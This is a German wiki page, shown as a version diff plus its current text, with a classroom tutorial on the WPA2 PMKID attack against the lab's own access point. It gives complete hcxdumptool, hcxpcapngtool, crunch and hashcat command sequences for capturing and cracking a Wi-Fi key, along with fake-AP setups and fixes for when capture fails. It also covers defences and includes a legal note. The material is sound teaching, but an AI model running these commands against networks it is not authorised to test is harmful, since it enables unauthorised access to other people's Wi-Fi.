Wlan PMKID-Angriff: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
(Die Seite wurde neu angelegt: „=PMKID-Angriff in der WLAN-Schulung= == Vorbereitung == =Passwordliste generieren= *crunch 8 8 0123456789 -o password.lst Crunch will now generate the follow…“)
 
 
(4 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 1: Zeile 1:
=PMKID-Angriff in der WLAN-Schulung=
+
=Szenario=
 +
;Angriff auf den Access Point <code>dd-xinux</code> (siehe [[accesspoint-hostapd|Access Point aufsetzen]]).
 +
;PMKID-Angriff: '''clientless''' — kein verbundener Client, kein Deauth nötig. Wir greifen den PMKID direkt aus dem 1. EAPOL-Frame ab.
  
== Vorbereitung ==
+
=Passwortliste generieren=
=Passwordliste generieren=
+
;Das AP-Passwort ist 8-stellig numerisch (<code>00001234</code>) — genau dafür bauen wir die Liste.
 
*crunch 8 8 0123456789 -o password.lst
 
*crunch 8 8 0123456789 -o password.lst
 
  Crunch will now generate the following amount of data: 900000000 bytes
 
  Crunch will now generate the following amount of data: 900000000 bytes
 
  ... dies dauert eine Weile
 
  ... dies dauert eine Weile
  
=Störende Dienste stoppen=
+
=WLAN-Karte freiräumen=
*systemctl stop avahi-daemon
+
;NetworkManager muss nicht gestoppt werden — er fischt nicht rein, solange er die Karte nicht anfasst. Nur <code>wlan0</code> aus seiner Verwaltung nehmen:
*systemctl stop NetworkManager
+
*nmcli dev set wlan0 managed no
  
=Interface suchen=
+
=Ziel-BSSID ermitteln=
*airmon-ng
+
;'''Der wichtigste Schritt — sonst greifen wir alle Netze im Raum an.''' Wir brauchen die MAC-Adresse (BSSID) genau unseres APs <code>dd-xinux</code>.
<pre>
+
;Variante A — direkt am AP ablesen (das ist unser eigener AP):
PHY    Interface      Driver          Chipset
+
*iw dev wlan0 info
phy0    wlan0           rtl8812au      Alfa AWUS036ACH
+
;Variante B — kurz scannen und nach der ESSID suchen:
</pre>
+
*hcxdumptool -i wlan0 --rcascan=active
 +
;oder mit iw von einer zweiten Karte:
 +
*iw dev wlan0 scan | grep -iB5 dd-xinux
 +
;Wir notieren die BSSID, z.&nbsp;B. <code>AA:BB:CC:11:22:33</code>.
  
=Interface vorbereiten=
+
=Filter auf unseren AP bauen=
*ip link set wlan0 down
+
;'''Am einfachsten''' — hcxdumptool baut den Filter selbst, kein tcpdump nötig:
*iw dev wlan0 set type monitor
+
*hcxdumptool --bpfc="wlan addr3 AA:BB:CC:11:22:33 or wlan addr3 ffffffffffff" > dd-xinux.bpf
*ip link set wlan0 up
+
;Das <code>or wlan addr3 ffffffffffff</code> lässt Broadcast-/Probe-Frames durch — sonst meckert hcxpcapngtool später über fehlende Frames.
 +
;'''Falls hcxdumptool ohne internen Compiler gebaut wurde''', geht es über tcpdump — aber die Karte muss '''vorher''' im Monitor-Modus sein, sonst kennt tcpdump kein <code>wlan addr3</code>:
 +
*hcxdumptool -m wlan0
 +
*tcpdump -s 65535 -y IEEE802_11_RADIO wlan addr3 AA:BB:CC:11:22:33 or wlan addr3 ffffffffffff -ddd > dd-xinux.bpf
 +
;'''Alte Reihe (bis 6.2.9):''' statt BPF eine Textdatei mit der BSSID '''ohne''' Doppelpunkte:
 +
*echo aabbcc112233 > dd-xinux.txt
  
=PMKID-Sammlung starten=
+
=PMKID abgreifen=
*hcxdumptool -i wlan0 -o pmkid.pcapng --enable_status=15
+
;'''Neue Reihe''' — mit BPF-Filter:
;läuft, bis man Strg+C drückt
+
*hcxdumptool -i wlan0 -w dump.pcapng --bpf=dd-xinux.bpf
 +
;'''Alte Reihe''' — mit Filterliste:
 +
*hcxdumptool -i wlan0 -o dump.pcapng --filterlist_ap=dd-xinux.txt --filtermode=2 --enable_status=1
 +
;hcxdumptool schaltet die Karte selbst in den Monitor-Modus. Läuft ein paar Sekunden.
 +
;Mit <code>--exitoneapol=1</code> beendet sich hcxdumptool automatisch, sobald der PMKID gefangen ist.
 +
;Die Flags ändern sich zwischen den Versionen — im Zweifel einmal <code>hcxdumptool -h</code> prüfen.
  
=PMKID extrahieren=
+
=Diagnose: es kommt nichts=
*hcxpcapngtool -o pmkid.hash -E essidlist.txt pmkid.pcapng
+
;Wenn kein PMKID auftaucht, liegt es fast immer an einem von vier Punkten. Der Reihe nach durchgehen:
 +
;'''1. Regulatory Domain gesetzt?''' Ohne gesetzte Region darf die Karte oft nicht senden — dann kein Association-Request, kein M1, kein PMKID. Das ist in DE der häufigste Grund.
 +
*iw reg get
 +
*iw reg set DE
 +
;'''2. Live-Anzeige lesen.''' Seit 6.3.0 zeigt hcxdumptool ein geteiltes Bild: oben AP-Status, unten Clients. Steht <code>dd-xinux</code> oben, erreicht die Karte den AP. Bleibt oben dauerhaft leer → Filter/Kanal/Treiber, nicht der Angriff.
 +
;'''3. Kanal festnageln.''' hcxdumptool hüpft über die Kanäle. Wir lesen den Kanal des APs ab und bleiben dort:
 +
*iw dev wlan0 info
 +
*hcxdumptool -i wlan0 -w dump.pcapng --bpf=dd-xinux.bpf -c KANAL
 +
;(Bandschreibweise variiert je Version — <code>hcxdumptool -h</code> zeigt das Format.)
 +
;'''4. Störer wirklich weg?''' NetworkManager/wpa_supplicant drehen sonst an der Karte:
 +
*airmon-ng check kill
 +
;'''Offline-Gegenprobe.''' Egal was live scrollt — die Wahrheit steht im Konverter (siehe nächster Abschnitt): hcxpcapngtool zählt genau auf, was drin ist (PMKID, EAPOL M1..M4) und warnt, wenn der Filter nützliche Frames rausgeschnitten hat. Steht dort "0 PMKID", hat der AP schlicht keinen gesendet → Fallback.
  
=PMKID mit Hashcat knacken=
+
=Fallback: voller Handshake=
*hashcat -m 16800 pmkid.hash password.lst
+
;Nicht jeder AP legt einen PMKID in M1. Dann nehmen wir den klassischen 4-Wege-Handshake — der klappt immer, sobald sich ein Client verbindet:
 +
*Ein Handy/Notebook mit <code>dd-xinux</code> verbinden (oder kurz trennen und neu verbinden).
 +
;hcxdumptool schneidet den Handshake mit, sofern wir auf dem AP-Kanal stehen. hcxpcapngtool macht daraus dieselbe .hc22000-Datei — <code>hashcat -m 22000</code> bleibt identisch.
 +
;Didaktisch schön: PMKID = clientless, Handshake = mit Client — beide enden im selben Hash.
  
=Beispielhafte Auswertung=
+
=In hashcat-Format wandeln=
*Laptop: ~1000 H/s
+
*hcxpcapngtool -o pmkid.hc22000 dump.pcapng
*GPU (RTX 3080): bis 800000 H/s
+
;Erscheint "PMKID(s) written to 22000 hash file"? Dann haben wir ihn.
*Crack über GPU-Cluster oder Cloud möglich
+
;Kontrolle, dass wirklich nur unser AP drin ist:
 +
*hcxhashtool -i pmkid.hc22000 --info=stdout
  
== AP-Konfiguration für PMKID-Test==
+
=Cracken=
=Garantiert PMKID-fähige hostapd.conf=
+
*hashcat -m 22000 pmkid.hc22000 password.lst
<pre>
+
;Ergebnis ansehen:
interface=wlan0
+
*hashcat -m 22000 pmkid.hc22000 --show
driver=nl80211
 
ssid=crackme
 
hw_mode=g
 
channel=6
 
country_code=DE
 
ieee80211n=1
 
auth_algs=1
 
wpa=2
 
wpa_key_mgmt=WPA-PSK
 
rsn_pairwise=CCMP
 
wpa_passphrase=Sommer2024
 
own_ip_addr=127.0.0.1
 
eap_server=0
 
</pre>
 
  
;Hinweis: hostapd bietet PMKID standardmäßig an, wenn ein Client verbunden war oder Roaming aktiviert ist.
+
=Crack-Geschwindigkeiten=
 +
*Laptop schafft circa 1000 Keys pro Sekunde
 +
*Eine starke Grafikkarte (Titan XP) schafft 520000 hash/s
 +
*Online-Rechenpower mieten
 +
*Cluster aus mehreren Grafikkarten bauen
  
== Fake-APs simulieren (für mehrere Gruppen)==
+
=Warum ist das knackbar?=
=Option 1: Mehrere Instanzen von hostapd (getrennte Interfaces notwendig)=
+
;<code>00001234</code> ist 8-stellig numerisch: 10^8 = 100 Mio. Kandidaten — in Kurszeit machbar.
*cp hostapd.conf hostapd1.conf
+
;8 Zeichen gemischt wären 62^8 &asymp; 2,2&times;10^14 — praktisch nicht zu knacken. Ein starkes, zufälliges Passwort macht den Angriff chancenlos.
*cp hostapd.conf hostapd2.conf
 
*Ändere SSID und channel in jeder Datei
 
  
Beispiel:
+
=Verteidigung=
<pre>
+
*Langes, zufälliges PSK.
ssid=crackme01
+
*'''WPA3 / SAE''' beseitigt den Offline-Angriff komplett — es gibt keinen abfangbaren Wert mehr.
channel=1
 
</pre>
 
<pre>
 
ssid=crackme02
 
channel=6
 
</pre>
 
*hostapd -dd hostapd1.conf &
 
*hostapd -dd hostapd2.conf &
 
  
=Option 2: Einfacher Fake-AP mit create_ap (nur zu Demo-Zwecken)=
+
=Rechtlicher Hinweis=
*apt install create-ap
+
;Der BPF-Filter ist nicht nur Technik, sondern Pflicht: Er stellt sicher, dass wir ausschließlich unseren eigenen Labor-AP <code>dd-xinux</code> angreifen und keine fremden Netze im Gebäude.
*create_ap wlan0 eth0 crackme123 Sommer2024
 
 
 
;Wird nicht von allen PMKID-Tools erkannt, aber gut für Fake-Kulisse oder Captive Portals.
 
 
 
== Schülerübung: "Crack Me!" WLAN ==
 
=Zielsetzung=
 
* Schüler scannen Umgebung
 
* Erfassen PMKID mit hcxdumptool
 
* Cracken mit vorbereiteter Wordlist
 
 
 
=Beispiel-SSID und Passwort (nicht in Liste)=
 
*SSID: crackme
 
*Passwort: Sommer2024
 
 
 
=passende Wordlist (Ausschnitt)=
 
<pre>
 
hallo123
 
testtest
 
Sommer2023
 
Sommer2024
 
Winter2024
 
12345678
 
98765432
 
00001234
 
</pre>
 
 
 
=Cracken starten=
 
*hashcat -m 16800 pmkid.hash wordlist.txt
 
 
 
== Abschluss ==
 
=Diskussion=
 
* Warum klappt PMKID ohne Client?
 
* Welche APs sind verwundbar?
 
* Warum ist WPA3 hier sicherer?
 
 
 
=Weiterführende Tools=
 
*Bettercap
 
*roguehostapd
 
*hostapd-wpe (für Enterprise-Angriffe)
 
*Captive-Portal-Frameworks: WiFiPhisher, Fluxion
 
 
 
=Videos=
 
*[https://www.youtube.com/watch?v=dvmrQ0CzCy4 PMKID Angriff mit hcxdumptool]
 
*[https://www.youtube.com/watch?v=vnLfCtpANvI WPA Handshake Crack]
 
  
 
=Links=
 
=Links=
*[https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 Cracking WPA-PMKID with Hashcat]
+
*https://github.com/ZerBea/hcxdumptool
*[https://github.com/ZerBea/hcxdumptool hcxdumptool GitHub]
+
*https://www.kali.org/tools/hcxtools/
*[https://github.com/ZerBea/hcxtools hcxtools GitHub]
+
*https://hashcat.net/forum/thread-7717.html

Aktuelle Version vom 20. August 2026, 11:07 Uhr

Szenario

Angriff auf den Access Point dd-xinux (siehe Access Point aufsetzen).
PMKID-Angriff
clientless — kein verbundener Client, kein Deauth nötig. Wir greifen den PMKID direkt aus dem 1. EAPOL-Frame ab.

Passwortliste generieren

Das AP-Passwort ist 8-stellig numerisch (00001234) — genau dafür bauen wir die Liste.
  • crunch 8 8 0123456789 -o password.lst
Crunch will now generate the following amount of data: 900000000 bytes
... dies dauert eine Weile

WLAN-Karte freiräumen

NetworkManager muss nicht gestoppt werden — er fischt nicht rein, solange er die Karte nicht anfasst. Nur wlan0 aus seiner Verwaltung nehmen
  • nmcli dev set wlan0 managed no

Ziel-BSSID ermitteln

Der wichtigste Schritt — sonst greifen wir alle Netze im Raum an. Wir brauchen die MAC-Adresse (BSSID) genau unseres APs dd-xinux.
Variante A — direkt am AP ablesen (das ist unser eigener AP)
  • iw dev wlan0 info
Variante B — kurz scannen und nach der ESSID suchen
  • hcxdumptool -i wlan0 --rcascan=active
oder mit iw von einer zweiten Karte
  • iw dev wlan0 scan | grep -iB5 dd-xinux
Wir notieren die BSSID, z. B. AA:BB:CC:11:22:33.

Filter auf unseren AP bauen

Am einfachsten — hcxdumptool baut den Filter selbst, kein tcpdump nötig
  • hcxdumptool --bpfc="wlan addr3 AA:BB:CC:11:22:33 or wlan addr3 ffffffffffff" > dd-xinux.bpf
Das or wlan addr3 ffffffffffff lässt Broadcast-/Probe-Frames durch — sonst meckert hcxpcapngtool später über fehlende Frames.
Falls hcxdumptool ohne internen Compiler gebaut wurde, geht es über tcpdump — aber die Karte muss vorher im Monitor-Modus sein, sonst kennt tcpdump kein wlan addr3
  • hcxdumptool -m wlan0
  • tcpdump -s 65535 -y IEEE802_11_RADIO wlan addr3 AA:BB:CC:11:22:33 or wlan addr3 ffffffffffff -ddd > dd-xinux.bpf
Alte Reihe (bis 6.2.9): statt BPF eine Textdatei mit der BSSID ohne Doppelpunkte
  • echo aabbcc112233 > dd-xinux.txt

PMKID abgreifen

Neue Reihe — mit BPF-Filter
  • hcxdumptool -i wlan0 -w dump.pcapng --bpf=dd-xinux.bpf
Alte Reihe — mit Filterliste
  • hcxdumptool -i wlan0 -o dump.pcapng --filterlist_ap=dd-xinux.txt --filtermode=2 --enable_status=1
hcxdumptool schaltet die Karte selbst in den Monitor-Modus. Läuft ein paar Sekunden.
Mit --exitoneapol=1 beendet sich hcxdumptool automatisch, sobald der PMKID gefangen ist.
Die Flags ändern sich zwischen den Versionen — im Zweifel einmal hcxdumptool -h prüfen.

Diagnose: es kommt nichts

Wenn kein PMKID auftaucht, liegt es fast immer an einem von vier Punkten. Der Reihe nach durchgehen
1. Regulatory Domain gesetzt? Ohne gesetzte Region darf die Karte oft nicht senden — dann kein Association-Request, kein M1, kein PMKID. Das ist in DE der häufigste Grund.
  • iw reg get
  • iw reg set DE
2. Live-Anzeige lesen. Seit 6.3.0 zeigt hcxdumptool ein geteiltes Bild
oben AP-Status, unten Clients. Steht dd-xinux oben, erreicht die Karte den AP. Bleibt oben dauerhaft leer → Filter/Kanal/Treiber, nicht der Angriff.
3. Kanal festnageln. hcxdumptool hüpft über die Kanäle. Wir lesen den Kanal des APs ab und bleiben dort
  • iw dev wlan0 info
  • hcxdumptool -i wlan0 -w dump.pcapng --bpf=dd-xinux.bpf -c KANAL
(Bandschreibweise variiert je Version — hcxdumptool -h zeigt das Format.)
4. Störer wirklich weg? NetworkManager/wpa_supplicant drehen sonst an der Karte
  • airmon-ng check kill
Offline-Gegenprobe. Egal was live scrollt — die Wahrheit steht im Konverter (siehe nächster Abschnitt)
hcxpcapngtool zählt genau auf, was drin ist (PMKID, EAPOL M1..M4) und warnt, wenn der Filter nützliche Frames rausgeschnitten hat. Steht dort "0 PMKID", hat der AP schlicht keinen gesendet → Fallback.

Fallback: voller Handshake

Nicht jeder AP legt einen PMKID in M1. Dann nehmen wir den klassischen 4-Wege-Handshake — der klappt immer, sobald sich ein Client verbindet
  • Ein Handy/Notebook mit dd-xinux verbinden (oder kurz trennen und neu verbinden).
hcxdumptool schneidet den Handshake mit, sofern wir auf dem AP-Kanal stehen. hcxpcapngtool macht daraus dieselbe .hc22000-Datei — hashcat -m 22000 bleibt identisch.
Didaktisch schön
PMKID = clientless, Handshake = mit Client — beide enden im selben Hash.

In hashcat-Format wandeln

  • hcxpcapngtool -o pmkid.hc22000 dump.pcapng
Erscheint "PMKID(s) written to 22000 hash file"? Dann haben wir ihn.
Kontrolle, dass wirklich nur unser AP drin ist
  • hcxhashtool -i pmkid.hc22000 --info=stdout

Cracken

  • hashcat -m 22000 pmkid.hc22000 password.lst
Ergebnis ansehen
  • hashcat -m 22000 pmkid.hc22000 --show

Crack-Geschwindigkeiten

  • Laptop schafft circa 1000 Keys pro Sekunde
  • Eine starke Grafikkarte (Titan XP) schafft 520000 hash/s
  • Online-Rechenpower mieten
  • Cluster aus mehreren Grafikkarten bauen

Warum ist das knackbar?

00001234 ist 8-stellig numerisch
10^8 = 100 Mio. Kandidaten — in Kurszeit machbar.
8 Zeichen gemischt wären 62^8 ≈ 2,2×10^14 — praktisch nicht zu knacken. Ein starkes, zufälliges Passwort macht den Angriff chancenlos.

Verteidigung

  • Langes, zufälliges PSK.
  • WPA3 / SAE beseitigt den Offline-Angriff komplett — es gibt keinen abfangbaren Wert mehr.

Rechtlicher Hinweis

Der BPF-Filter ist nicht nur Technik, sondern Pflicht
Er stellt sicher, dass wir ausschließlich unseren eigenen Labor-AP dd-xinux angreifen und keine fremden Netze im Gebäude.

Links